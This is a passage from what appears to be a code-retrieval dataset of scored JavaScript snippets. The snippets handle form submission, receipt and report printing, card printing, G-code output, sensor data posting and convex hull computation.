{\r\n fiftyCoins = \"null\";\r\n }\r\n if (hundredCoins === \"\") {\r\n hundredCoins = \"null\";\r\n }\r\n if (twoHundredCoins === \"\") {\r\n twoHundredCoins = \"null\";\r\n }\r\n if (fiveHundredCoins === \"\") {\r\n fiveHundredCoins = \"null\";\r\n }\r\n if (oneThousands === \"\") {\r\n oneThousands = \"null\";\r\n }\r\n if (twoThousands === \"\") {\r\n twoThousands = \"null\";\r\n }\r\n if (fiveThousands === \"\") {\r\n fiveThousands = \"null\";\r\n }\r\n if (tenThousands === \"\") {\r\n tenThousands = \"null\";\r\n }\r\n\r\n if (contributionType === \"0\") {\r\n Swal.fire({\r\n title: \"Error!\",\r\n text: \" Please choose contribution type from the list!\",\r\n type: \"error\",\r\n confirmButtonClass: 'btn btn-primary',\r\n buttonsStyling: false,\r\n });\r\n }\r\n else if (total === \"\") {\r\n Swal.fire({\r\n title: \"Error!\",\r\n text: \" Please enter amount!\",\r\n type: \"error\",\r\n confirmButtonClass: 'btn btn-primary',\r\n buttonsStyling: false,\r\n });\r\n }\r\n else if (contributionType === \"Other\" && description === contributionType) {\r\n Swal.fire({\r\n title: \"Error!\",\r\n text: \" Please enter description for the contribution!\",\r\n type: \"error\",\r\n confirmButtonClass: 'btn btn-primary',\r\n buttonsStyling: false,\r\n });\r\n }\r\n else if (jumuiyaName === \"INDIVIDUAL\" && description === contributionType) {\r\n Swal.fire({\r\n title: \"Error!\",\r\n text: \" Please enter description for the contributor!\",\r\n type: \"error\",\r\n confirmButtonClass: 'btn btn-primary',\r\n buttonsStyling: false,\r\n });\r\n }\r\n else {\r\n var tmr = Math.random();\r\n\r\n var inputs = [contributionType, loggedinUserId, jumuiyaName, fiftyCoins, hundredCoins, twoHundredCoins, fiveHundredCoins, oneThousands, twoThousands, fiveThousands, tenThousands, total, description, massName, tmr];\r\n var data = JSON.stringify(inputs);\r\n\r\n var xmlhttp = new XMLHttpRequest();\r\n xmlhttp.onreadystatechange = function() {\r\n if (this.readyState == 4 && this.status == 200) {\r\n var returnedData = JSON.parse(this.responseText);\r\n var status = returnedData[0];\r\n\r\n if (status == 0) {\r\n show_unverified_table();\r\n $(\".add-new-data\").removeClass(\"show\");\r\n $(\".overlay-bg\").removeClass(\"show\");\r\n document.getElementById('receiptCardReceiptNo').value = returnedData[1];\r\n display_desired_print_form();\r\n $('#insertFiftyCoinCountField').val(\"\");\r\n $('#insertHundredCoinCountField').val(\"\");\r\n $('#insertTwoHundredCoinCountField').val(\"\");\r\n $('#insertFiveHundredCoinCountField').val(\"\");\r\n $('#insertOneThousandCountField').val(\"\");\r\n $('#insertTwoThousandCountField').val(\"\");\r\n $('#insertFiveThousandCountField').val(\"\");\r\n $('#insertTenThousandCountField').val(\"\");\r\n $('#insertTotalCashCountField').val(\"\");\r\n\r\n document.getElementById(\"insertTotalCashCountField\").disabled = false;\r\n }\r\n\r\n else if (status == 2) {\r\n Swal.fire({\r\n title: \"Error!\",\r\n text: \" something went wrong!\",\r\n type: \"error\",\r\n confirmButtonClass: 'btn btn-primary',\r\n buttonsStyling: false,\r\n });\r\n }\r\n }\r\n };\r\n xmlhttp.open(\"GET\", \"database/send_contribution_request.php?par=\" + data, true);\r\n xmlhttp.send();\r\n }\r\n\r\n}", "title": "" }, { "docid": "e33caf7ad2aca2494d79586a7b41b20f", "score": "0.44128615", "text": "function NewPrintWindow(mypage, myname, w, h, scroll, resize) {\n var winl = (screen.width - w) / 2;\n var wint = (screen.height - h) / 2;\n winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable='+resize\n win = window.open(mypage, myname, winprops);\n if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }\n}", "title": "" }, { "docid": "e03585eb4cd00e0e4980190aa51be030", "score": "0.44096914", "text": "function getBody(){\n\n\tlet myBody = {\"name\" : getValueByID(\"nameInput\"),\n\t\t\t\t\"parents\": getValueByID(\"parentsInput\"),\n\t\t\t\t\"present\": getPresents(),\n\t\t\t\t\"birthday\": getValueByID(\"birthdayInput\"),\n\t\t\t\t\"eating\": getValueByID(\"eatingInput\"),\n\t\t\t\t\"sleeping\": getValueByID(\"sleepingInput\"),\n\t\t\t\t\"spez\": getValueByID(\"spezInput\"),\n\t\t\t\t\"important\": getValueByID(\"importantInput\")}\n\tconsole.log(myBody);\n\treturn JSON.stringify(myBody);\n}", "title": "" }, { "docid": "964d58c59db00f4e0c530a687d5352cc", "score": "0.44096908", "text": "function PrintItemkit(objItem, strParams) {\n var defaultParams = 'toolbar=no,menubar=no,fullscreen=no ,scrollbars=yes,resizable=yes,width=560,height=575,top=10,left=10';\n var ItemWin;\n if (strParams != null) {\n ItemWin = window.open('', '_blank', strParams);\n } else {\n ItemWin = window.open('', '_blank', defaultParams);\n }\n\n var myDoc = objItem.innerHTML;\n //alert(myDoc);\n ItemWin.document.open();\n ItemWin.document.write('&lt;HTML&gt;&lt;HEAD&gt;&lt;LINK rel=\"stylesheet\" type=\"text/css\" href=\"<xsl:value-of select=\"$SiteURL\"/>/template/main.css\"&gt;&lt;BASE href=\"<xsl:value-of select=\"$SiteURL\"/>\"/&gt;&lt;/HEAD&gt;&lt;BODY&gt;&lt;TABLE width=\"100%\"&gt;&lt;TR&gt;&lt;TD style=\"padding:5px;\" dir=\"rtl\"&gt;' + myDoc + '&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/BODY&gt;&lt;/HTML&gt;');\n ItemWin.focus();\n // ItemWin.document.close();\n // ItemWin.print();\n // ItemWin.close();\n}", "title": "" }, { "docid": "144e6b739b16b5dd5d979e9153b180c2", "score": "0.44091558", "text": "function format_print(json_rsp){\n \n var receipt_string=\"\";\n var amount_string=\"\";\n receipt_string= receipt_string +\n \"-------------------------------------\\n\" +\n \"<site_name>\\n\" +\n \"<site_address>\\n\" +\n \"<site_city>\\n\" +\n \"<site_phone>\\n\" +\n \"<site_email>\\n\\n\" +\n \"RECEIPT NO : <receipt_num>\\n\"+\n \"RECEIPT TYPE : <refund_stat>\\n\"+\n \"SERVED BY : <staff_name>\\n\" +\n \"DATE : <date_trans>\\n\" +\n \"---------------------------------------\\n\" +\n \"Payment Breakdown\\n\\n\" +\n \"<product> <price> <number> <sub>\\n\"+\n \"<receipt_payments>\\n\" +\n \"Total Quantity <total_quant>\\n\" +\n \"Net Cost <net_cost>\\n\" +\n \"Vat(<vat>) <vat_transaction>\\n\" +\n \"Total <total_transaction>\\n\" +\n \"Paid <total_paid>\\n\" +\n \"Due <total_due>\\n\" + \n \"---------------------------------------\\n\" +\n \"---------------------------------------\\n\" +\n \"THANK YOU FOR YOUR BUSINESS.!\\n\\n\" ;\n\n \n for(var index in json_rsp.ProductTransaction)\n {\n var replace_string='<product> <price> <quantity> <sub_total>';\n replace_string=replace_string.replace('<product>',pad(json_rsp.ProductTransaction[index].Product.product_name.substring(0,8),8,' '));\n replace_string=replace_string.replace('<price>',pad(formatCurrency(json_rsp.ProductTransaction[index].price),8,' '));\n replace_string=replace_string.replace('<quantity>',pad(json_rsp.ProductTransaction[index].quantity,4,' '));\n replace_string=replace_string.replace('<sub_total>',pad(formatCurrency(json_rsp.ProductTransaction[index].price*json_rsp.ProductTransaction[index].quantity),5,' '));\n amount_string=amount_string+pad(replace_string,25,'')+\"\\n\"; \n }\n\n receipt_string=receipt_string.replace('<product>',pad('Product',8,' '));\n receipt_string=receipt_string.replace('<price>',pad('Price',8,' '));\n receipt_string=receipt_string.replace('<number>',pad('Numbr',5,' '));\n receipt_string=receipt_string.replace('<sub>',pad('Subtl',5,' '));\n receipt_string=receipt_string.replace('<site_name>',pad(json_rsp.User.Site.site_name,25,' '));\n receipt_string=receipt_string.replace('<site_address>',pad(json_rsp.User.Site.address,25,' '));\n receipt_string=receipt_string.replace('<site_city>',pad(json_rsp.User.Site.city,25,' '));\n receipt_string=receipt_string.replace('<site_phone>',pad(json_rsp.User.Site.phone,25,' '));\n receipt_string=receipt_string.replace('<site_email>',pad(json_rsp.User.Site.email,25,' '));\n receipt_string=receipt_string.replace('<receipt_num>',json_rsp.Receipt.id);\n receipt_string=receipt_string.replace('<refund_stat>',json_rsp.Receipt.paid_status);\n receipt_string=receipt_string.replace('<staff_name>',json_rsp.User.fname);\n receipt_string=receipt_string.replace('<date_trans>',json_rsp.Receipt.transaction_timestamp);\n receipt_string=receipt_string.replace('<refund_stat>',json_rsp.Receipt.paid_status);\n receipt_string=receipt_string.replace('<receipt_payments>',amount_string);\n \n receipt_string=receipt_string.replace('<total_quant>',' '+pad(json_rsp.Sale.total_items,10,' '));\n receipt_string=receipt_string.replace('<net_cost>',pad(formatCurrency(json_rsp.Sale.total_bvat),10,' '));\n receipt_string=receipt_string.replace('<vat_transaction>',' '+pad(formatCurrency(json_rsp.Sale.vat_transaction),10,''));\n receipt_string=receipt_string.replace('<vat>',pad(json_rsp.Sale.vat_per+\"%\",4,' '));\n receipt_string=receipt_string.replace('<total_transaction>',pad(formatCurrency(json_rsp.Sale.total_transaction),10,''));\n receipt_string=receipt_string.replace('<total_paid>',pad(formatCurrency(json_rsp.Receipt.amount_paid),10,''));\n receipt_string=receipt_string.replace('<total_due>',pad(formatCurrency(json_rsp.Receipt.balance_due),10,''));\n\n //console.log(\"\\n\\n\\n\\n\"); \n // console.log(receipt_string); \n return receipt_string;\n \n}", "title": "" }, { "docid": "0a9b1440f1e4410bf887a71383f8b946", "score": "0.43982208", "text": "static serialize(maltegoArgs) {\n const request = new Request();\n const [value, ...properties] = maltegoArgs;\n const inputEntity = new Entity('maltego.Local', value);\n LocalSerializer.addPropertiesToEntity(properties, inputEntity);\n\n request.addEntity(inputEntity);\n return request;\n }", "title": "" }, { "docid": "60b312d3524480840570b2aa28c2bfa1", "score": "0.43979242", "text": "function payload ()\n{\n\tvar params =\n\t{\n\n\t}\n}", "title": "" }, { "docid": "90b7e822f657fd155f50b6b5e71ace36", "score": "0.43977502", "text": "function getsprint(request, response) {\n var contextData = {\n };\n console.log('here');\n var url = 'sprint' + request.params.id + '.html';\n response.render(url, contextData);\n}", "title": "" }, { "docid": "9abf546c6da07299195f53f851c50e40", "score": "0.4396209", "text": "function ajaxCallForPrint() {\r\n\r\n\tvar fromDate = $('#fromDate').val();\r\n\tvar toDate = $('#toDate').val();\r\n\tvar from = $('#from').val();\r\n\tvar forCurrentMonth = $('#forCurrentMonth').val();\r\n\tvar disp_setting = \"\";\r\n\tif ((document.getElementById('fromDate') != null)) {\r\n\t\tqueryParam = \"fromDate=\" + fromDate + \"&toDate=\" + toDate + \"&from=\"\r\n\t\t\t\t+ from;\r\n\t} else if (toDate == \"\") {\r\n\t\tqueryParam = \"forCurrentMonth=\" + forCurrentMonth + \"&from=\" + from;\r\n\t} else {\r\n\t\tqueryParam = \"toDate=\" + toDate + \"&from=\" + from;\r\n\t}\r\n\t$('#AjaxLoadingInfo').show();\r\n\t$('#exportmessage').hide();\r\n\tdisableButton();\r\n\tdisp_setting += \"scrollbars=1,width=700, height=400, left=20, top=25\";\r\n\t//var disp_setting = \"\";\r\n\t/*\tdisp_setting = \"toolbar=no,location=no,directories=no,menubar=no,resizable=no \";\r\n\t if (document.getElementById('fromDate') != null) {\r\n\r\n\t queryParam = \"fromDate=\" + fromDate + \"&toDate=\" + toDate + \"&from=\"\r\n\t + from;\r\n\t disp_setting += \"scrollbars=1,width=700, height=400, left=20, top=25\";\r\n\t } else {\r\n\t queryParam = \"forCurrentMonth=\" + toDate + \"&from=\" + from;\r\n\r\n\t disp_setting += \"scrollbars=1,width=700, height=400, left=20, top=25\";\r\n\t }\r\n\t */$\r\n\t\t\t.post(\r\n\t\t\t\t\t\"printReport.do?\" + queryParam,\r\n\t\t\t\t\tfunction(data) {\r\n\t\t\t\t\t\tif (data.length > 0) {\r\n\t\t\t\t\t\t\t$('#AjaxLoadingInfo').hide();\r\n\t\t\t\t\t\t\tenableButton();\r\n\t\t\t\t\t\t\tvar content_vlue = data;\r\n\t\t\t\t\t\t\tvar docprint = window.open(\"\", \"\", disp_setting);\r\n\t\t\t\t\t\t\tdocprint.document.open();\r\n\t\t\t\t\t\t\tdocprint.document.write(\"<html>\");\r\n\t\t\t\t\t\t\tdocprint.document\r\n\t\t\t\t\t\t\t\t\t.write(\"<body onload=\\\"self.print();\\\"><div style='padding:2px;overflow-x:hidden;height:100%;'>\");\r\n\t\t\t\t\t\t\tdocprint.document.write(content_vlue);\r\n\t\t\t\t\t\t\tdocprint.document.write(\"</div></body></html>\");\r\n\t\t\t\t\t\t\tdocprint.document.close();\r\n\t\t\t\t\t\t\tdocprint.focus();\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\r\n\r\n}", "title": "" }, { "docid": "923b7cbfe1a8279d4d48dc93cc4b5bfd", "score": "0.4394431", "text": "calcBuilder(pRoom)\n {\n var MY_ENERGY = pRoom.energyCapacityAvailable;\n var aMax = ( 50 * 2 ) / 9\n var aWork = _.floor(_.min([aMax,MY_ENERGY / 275]));\n var aCarry = 2*aWork;\n var aMove = _.ceil((aWork+aCarry)/2);\n\n var aW = new Array(aWork).fill(WORK);\n var aC = new Array(aCarry).fill(CARRY);\n var aM = new Array(aMove).fill(MOVE);\n\n var aBody = aW.concat(aC).concat(aM);\n\n logDERP('BUILDER:('+pRoom.name+') work = '+aWork+' carry = '+aCarry+' move = '+aMove);\n return aBody;\n }", "title": "" }, { "docid": "60201f3ed1964d647d4c25185a23f105", "score": "0.43937913", "text": "function CreateInvoiceFile(InvcType, InvcNo) { \n var oDocPrint = new DocumentPrint();\n oDocPrint.KeyName = \"InvoiceData\";\n oDocPrint.Title = \"Invoice\";\n\n// formatType = el('lkpINVFormat').value;\n// if (formatType != \"\") {\n// formatType = formatType.split(\".\"); //Split the value\n// formatType = formatType[1]; //taken only extension for checking\n// exportType = formatType.replace(\")\", \"\");\n// }\n// if (exportType == \"pdf\") {\n// oDocPrint.Type = \"CreatePdf\"; //use Createpddf as type\n// }\n// else if (exportType == \"xls\") {\n// oDocPrint.Type = \"export\"; //use Export as type\n// }\n// else if (exportType == \"doc\") {\n// oDocPrint.Type = \"word\"; //use Export as type\n// }\n// else {\n// oDocPrint.Type = \"CreatePdf\"; //use Createpddf as type\n // }\n oDocPrint.Type = \"All\";\n var HSInvoiceDraft = \"HSInvoiceDraft.rdlc\"\n var HSInvoiceFinal = \"HSInvoice.rdlc\"\n if (getConfigSetting('014') != \"\") {\n HSInvoiceFinal = getConfigSetting('014')\n }\n\n if (getConfigSetting('013') != \"\") {\n HSInvoiceDraft = getConfigSetting('013')\n }\n\n if (InvcType == \"HS_Draft\") {\n oDocPrint.DocumentId = \"1\";\n oDocPrint.ReportPath = \"../Documents/Report/\" + HSInvoiceDraft;\n }\n else if (InvcType == \"HS_\") {\n oDocPrint.DocumentId = \"1\";\n oDocPrint.ReportPath = \"../Documents/Report/\" + HSInvoiceFinal;\n }\n else if (InvcType == \"RP_Draft\") {\n oDocPrint.DocumentId = \"2\";\n oDocPrint.ReportPath = \"../Documents/Report/RPInvoiceDraft.rdlc\";\n }\n else if (InvcType == \"RP_\") {\n oDocPrint.DocumentId = \"2\";\n oDocPrint.ReportPath = \"../Documents/Report/RPInvoice.rdlc\";\n }\n oDocPrint.add(\"INVC_TYP\", InvcType);\n oDocPrint.add(\"INVC_NO\", InvcNo);\n oDocPrint.openReportDialog();\n}", "title": "" }, { "docid": "e8e8946fd7a91ab00885cfcdd58fb321", "score": "0.43935972", "text": "function machineStartPrint(xingming, xingbie,memberAge, shenfenzhenghao, jiankangzhenghao,fazhengqiri, tijianhao , memberIcon,qrCodeUrl)\n{\n\n //静态字体参数\n mfc.StaticFontName = \"宋体\";\n mfc.StaticFontSize = 40;//字体大小\n mfc.StaticFontWeight = 400;//粗细 400为正常 800为加粗\n\n //动态字体参数\n mfc.FontName = \"宋体\";\n mfc.FontSize = 40;//字体大小\n mfc.FontWeight = 800;//粗细 400为正常 800为加粗\n\n //静态姓名\n mfc.StaticName = \"姓名:\";\n mfc.StaticName_X = 25;\n mfc.StaticName_Y = 200;\n\n // alert(\"name:\"+xingming);\n\n //动态姓名\n mfc.Name=xingming;\n mfc.Name_X=150;\n mfc.Name_Y=200;\n\n //静态性别\n mfc.StaticSex=\"性别:\";\n mfc.StaticSex_X=25;\n mfc.StaticSex_Y=260;\n\n // alert(\"xingbie:\"+xingbie);\n\n //动态性别\n mfc.Sex=xingbie;\n mfc.Sex_X=150;\n mfc.Sex_Y=260;\n\n //静态年龄\n mfc.StaticAge=\"年龄:\";\n mfc.StaticAge_X=25;\n mfc.StaticAge_Y=320;\n\n // alert(\"memberAge:\"+memberAge);\n\n //动态年龄\n mfc.Age=memberAge;\n mfc.Age_X=150;\n mfc.Age_Y=320;\n\n\n //静态身份证号码\n mfc.StaticIDCardNo = \"身份证号码:\";\n mfc.StaticIDCardNo_X = 24.5;\n mfc.StaticIDCardNo_Y = 380;\n\n // alert(\"shenfenzhenghao:\"+shenfenzhenghao);\n\n //动态身份证号码\n mfc.IDCardNo=shenfenzhenghao;\n mfc.IDCardNo_X=260;\n mfc.IDCardNo_Y=380;\n\n\n //静态编号\n mfc.StaticNo=\"编号:\";\n mfc.StaticNo_X=25;\n mfc.StaticNo_Y=440;\n\n // alert(\"jiankangzhenghao:\"+jiankangzhenghao);\n\n //动态编号\n mfc.No=\"苏\"+ jiankangzhenghao +\"号\";\n mfc.No_X=150;\n mfc.No_Y=440;\n\n\n //静态发证日期\n mfc.StaticGrantDate = \"发证日期:\";\n mfc.StaticGrantDate_X = 25;\n mfc.StaticGrantDate_Y = 500;\n\n // alert(\"fazhengqiri:\"+fazhengqiri);\n\n //动态发证日期\n mfc.GrantDate=fazhengqiri;\n mfc.GrantDate_X=220;\n mfc.GrantDate_Y=500;\n\n\n //静态发证机构\n mfc.StaticGrantDept=\"发证机构:\";\n mfc.StaticGrantDept_X=25;\n mfc.StaticGrantDept_Y=560;\n\n //动态发证机构\n mfc.GrantDept=\"常熟市疾病预防控制中心\";\n mfc.GrantDept_X=220;\n mfc.GrantDept_Y=560;\n\n // alert(\"tijianhao:\"+tijianhao);\n\n //动态健康证号\n mfc.HealthNo=tijianhao;\n mfc.HealthNo_X=750;\n mfc.HealthNo_Y=540;\n\n // alert(\"memberIcon:\"+memberIcon);\n\n // mfc.PhotoURL = \"http://localhost:8080///upload/file/2017-01-05/cffcf586-80dc-49c3-9a31-de64a0d44324.jpg\"; //本地照片\n // mfc.PhotoURL = \"http://www.fagoo.com/2014/1.jpg\"; //本地照片\n mfc.PhotoURL(memberIcon);\n mfc.Photo_X = 62.7; //照片X坐标\n mfc.Photo_Y = 16.6; //照片Y坐标8\n mfc.Photo_CX = 240; //照片宽度\n mfc.Photo_CY =320; //照片高度\n\n // alert(\"qrCodeUrl:\"+qrCodeUrl);\n // mfc.QRURL = \"http://csexam.bidanet.com///upload/file/2017-01-12/QrRCode376d0d0a-a9aa-45a3-99a4-3c71c6e382ce.jpg\"; //本地二维码图片\n // mfc.QRURL = \"http://www.fagoo.com/2014/qr.jpg\"; //本地二维码图片\n mfc.QRURL(qrCodeUrl);\n mfc.QR_X = 35;//二维码X坐标\n mfc.QR_Y = 16;//二维码照片Y坐标\n mfc.QR_CX = 180;//二维码照片宽度\n mfc.QR_CY =180;//二维码照片高度\n\n\n\n return mfc.PrintCard\n}", "title": "" }, { "docid": "5f041c9a2d743594e1507b6abf6bde70", "score": "0.43925273", "text": "function makeSpray(){\n image = document.getElementById('spray');\n createBoxBody(5,0,10,0) // ceiling\n\n for (var i = 0; i < 2; i++){\n // create water\n var circle = new box2d.b2CircleShape(1);\n var pgd = new box2d.b2ParticleGroupDef();\n pgd.position = new box2d.b2Vec2(5,2);\n pgd.flags = box2d.b2ParticleFlag.b2_dynamicBody;\n pgd.groupFlags = box2d.b2ParticleGroupFlag.b2_solidParticleGroup;\n pgd.shape = circle;\n pgd.strength = 0.2;\n \n pgd.color.Set(0, 255, 0, 255);\n world.GetParticleSystemList().SetRadius(.06);\n var partgroup = world.GetParticleSystemList().CreateParticleGroup(pgd); \n }\n }", "title": "" }, { "docid": "467e8e95fb8b768e51210671485a2f05", "score": "0.43889812", "text": "cancelPendingPrintRequest() {\n chrome.send('cancelPendingPrintRequest');\n }", "title": "" }, { "docid": "1f10bcbf8b8773fa4c3582d1649114c9", "score": "0.43879375", "text": "function generateRequestOPD(num) {\r\n fs.readFile(inputfile, function (err, output) {\r\n if (err) throw err;\r\n var out = JSON.parse(output);\r\n for (let i = 0; i < out.length; i++) {\r\n setTimeout(function cb() {\r\n // TCX (More detailed and more rows than GPX)\r\n var dataStr_temp = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": out[i].main.temp,\r\n \"Datastream\": { \"@iot.id\": 88 }\r\n }\r\n var dataStr_pressure = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": out[i].main.pressure,\r\n \"Datastream\": { \"@iot.id\": 89 }\r\n }\r\n var dataStr_humidity = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": out[i].main.humidity,\r\n \"Datastream\": { \"@iot.id\": 90 }\r\n }\r\n var dataStr_Speed = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": out[i].wind.speed,\r\n \"Datastream\": { \"@iot.id\": 91 }\r\n }\r\n var dataStr_Wdeg = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": out[i].wind.deg,\r\n \"Datastream\": { \"@iot.id\": 92 }\r\n }\r\n var dataStr_cloud = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": out[i].clouds.all,\r\n \"Datastream\": { \"@iot.id\": 95 }\r\n }\r\n var dataStr_tempC = {\r\n \"phenomenonTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"resultTime\": (new Date(out[i].dt_iso)).toISOString(),\r\n \"result\": (out[i].main.temp) -273.15,\r\n \"Datastream\": { \"@iot.id\": 96 }\r\n }\r\n if (execute) {\r\n\r\n // postSTA(dataStr_temp, i, 'temp');\r\n // postSTA(dataStr_pressure, i, 'pressure');\r\n // postSTA(dataStr_humidity, i, 'humidity');\r\n // postSTA(dataStr_Speed, i, 'WindSpeed');\r\n // postSTA(dataStr_Wdeg, i, 'WindDeg');\r\n postSTA(dataStr_cloud, i, 'clouds');\r\n postSTA(dataStr_tempC, i, 'tempC');\r\n \r\n } else {\r\n // console.log(`temp [${i}] :` + JSON.stringify(dataStr_temp));\r\n // console.log(`pressure [${i}] :` + JSON.stringify(dataStr_pressure));\r\n // console.log(`humidity [${i}] :` + JSON.stringify(dataStr_humidity));\r\n // console.log(`WindSpeed [${i}] :` + JSON.stringify(dataStr_Speed));\r\n // console.log(`WindDeg [${i}] :` + JSON.stringify(dataStr_Wdeg));\r\n // console.log(`clouds [${i}] :` + JSON.stringify(dataStr_cloud));\r\n console.log(`dataStr_tempC [${i}] :` + JSON.stringify(dataStr_tempC));\r\n console.log('---------------------------------------------------lenght:')\r\n }\r\n }, 100 * (i - 0));\r\n }\r\n });\r\n}", "title": "" }, { "docid": "36ef3aa76f65f5cf17b687b43258bd51", "score": "0.43849564", "text": "handleWaterEvent(plantCardProps){\n console.log(\"POST:\" + configData.serverConfig.baseUrl + configData.serverConfig.port + configData.serverConfig.waterEndpoint);\n\n const request_content = {\n \"plant\": plantCardProps.plant.id,\n };\n\n console.log(request_content);\n\n const request = require('superagent');\n\n request\n .post(configData.serverConfig.baseUrl + configData.serverConfig.port + configData.serverConfig.waterEndpoint)\n .send(request_content)\n .withCredentials()\n .end();\n\n this.handleCancelButton();\n }", "title": "" }, { "docid": "6403569a208191bf467468833a9e7ac6", "score": "0.43846804", "text": "function Printer(bedMin, bedMax, filamentRate, stepSize, filamentWidth) {\n this.bounds = {\n min: { \n x: bedMin, y: bedMin, \n },\n max: { \n x: bedMax, y: bedMax, \n },\n };\n this.location = {\n prev: {\n x: 0, y: 0,\n },\n curr: {\n x: 0, y: 0,\n },\n prevLayer: []\n }\n this.control = {\n printZ: 0, \n printE: 0, \n eRate: filamentRate, \n distance: 0, \n zIncrease: stepSize,\n wallWidth: filamentWidth,\n }\n this.initializeGCode = function(){\n text.push(\"M82 ;absolute extrusion mode \\n\");\n text.push(\"G92 E0 \\n\");\n text.push(\"G10 \\n\");\n \n text.push(\";TYPE:SKIN \\n\");\n text.push(\"G11 \\n\");\n }\n\n this.printPosition = function(x, y){\n //map coordinates to print bed \n let printX = round(map(x, 0, width, this.bounds.min.x, this.bounds.max.x));\n let printY = round(map(y, 0, height, this.bounds.min.y, this.bounds.max.y));\n \n //find distance printer head will move\n this.control.distance = pythagorean(this.location.prev.x, printX, this.location.prev.y, printY);\n console.log(\"distance moved: \"+this.control.distance);\n \n //add to absolute value of filament extruded\n if (isNaN(this.control.distance) === false){\n this.control.printE += this.control.distance * this.control.eRate;\n }\n console.log(this.control.eRate);\n console.log(\"filament: \"+this.control.printE);\n \n //add all to gCode array\n if (isNaN(printX) === false && isNaN(printX) ===false){\n text.push(\"G1 F1800 X\"+printX+\" Y\"+printY+\" E\"+this.control.printE+\" \\n\");\n }\n \n //set old x and y coordinates\n this.location.prev = {x: printX, y: printY};\n }\n\n //increase z absolute\n this.newLine = function(){\n this.control.printZ += this.control.zIncrease;\n text.push(\"G1 Z\"+this.control.printZ+\" F1200 \\n\");\n }\n\n //finalize g code\n this.endGCode = function() {\n text.push(\"G10 \\n\");\n text.push(\"M107 \\n\");\n text.push(\"M82 ;absolute extrusion mode \\n\");\n text.push(\";End of Gcode\");\n };\n}", "title": "" }, { "docid": "9aab263a39d60be3620401fc581ba971", "score": "0.43840742", "text": "function buildCreationParams(name, attributes, type) {\r\n return {\r\n thingName : name,\r\n attributePayload: {\r\n attributes: attributes,\r\n merge: false\r\n },\r\n thingTypeName: type\r\n }\r\n}", "title": "" }, { "docid": "1093f26d39659971a8c1eadfd39e12e1", "score": "0.43823707", "text": "function envelope(resource, data) {\n const formatted = {};\n formatted[resource] = data;\n\n return formatted;\n}", "title": "" } ]
cc5892094f59164b3c487388f777b138
Computes the upper convex hull per the monotone chain algorithm. Assumes points.length >= 3, is sorted by x, unique in y. Returns an array of indices into points in lefttoright order.
[ { "docid": "16882cfaeec9106293f9b7e496b3cb28", "score": "0.80087537", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" } ]
[ { "docid": "910eb02cd8c1c0b1f817c0c19484de99", "score": "0.80435264", "text": "function computeUpperHullIndexes(points){var n=points.length,indexes=[0,1],size=2;for(var i=2;i<n;++i){while(size>1&&cross(points[indexes[size-2]],points[indexes[size-1]],points[i])<=0)--size;indexes[size++]=i}return indexes.slice(0,size);// remove popped points\n}", "title": "" }, { "docid": "daee7a7a86a3f3fa2570694845bf6512", "score": "0.8012943", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "daee7a7a86a3f3fa2570694845bf6512", "score": "0.8012943", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "daee7a7a86a3f3fa2570694845bf6512", "score": "0.8012943", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "daee7a7a86a3f3fa2570694845bf6512", "score": "0.8012943", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "daee7a7a86a3f3fa2570694845bf6512", "score": "0.8012943", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "35b0ec8e83c9bdc489e69e11ef1721af", "score": "0.8010753", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 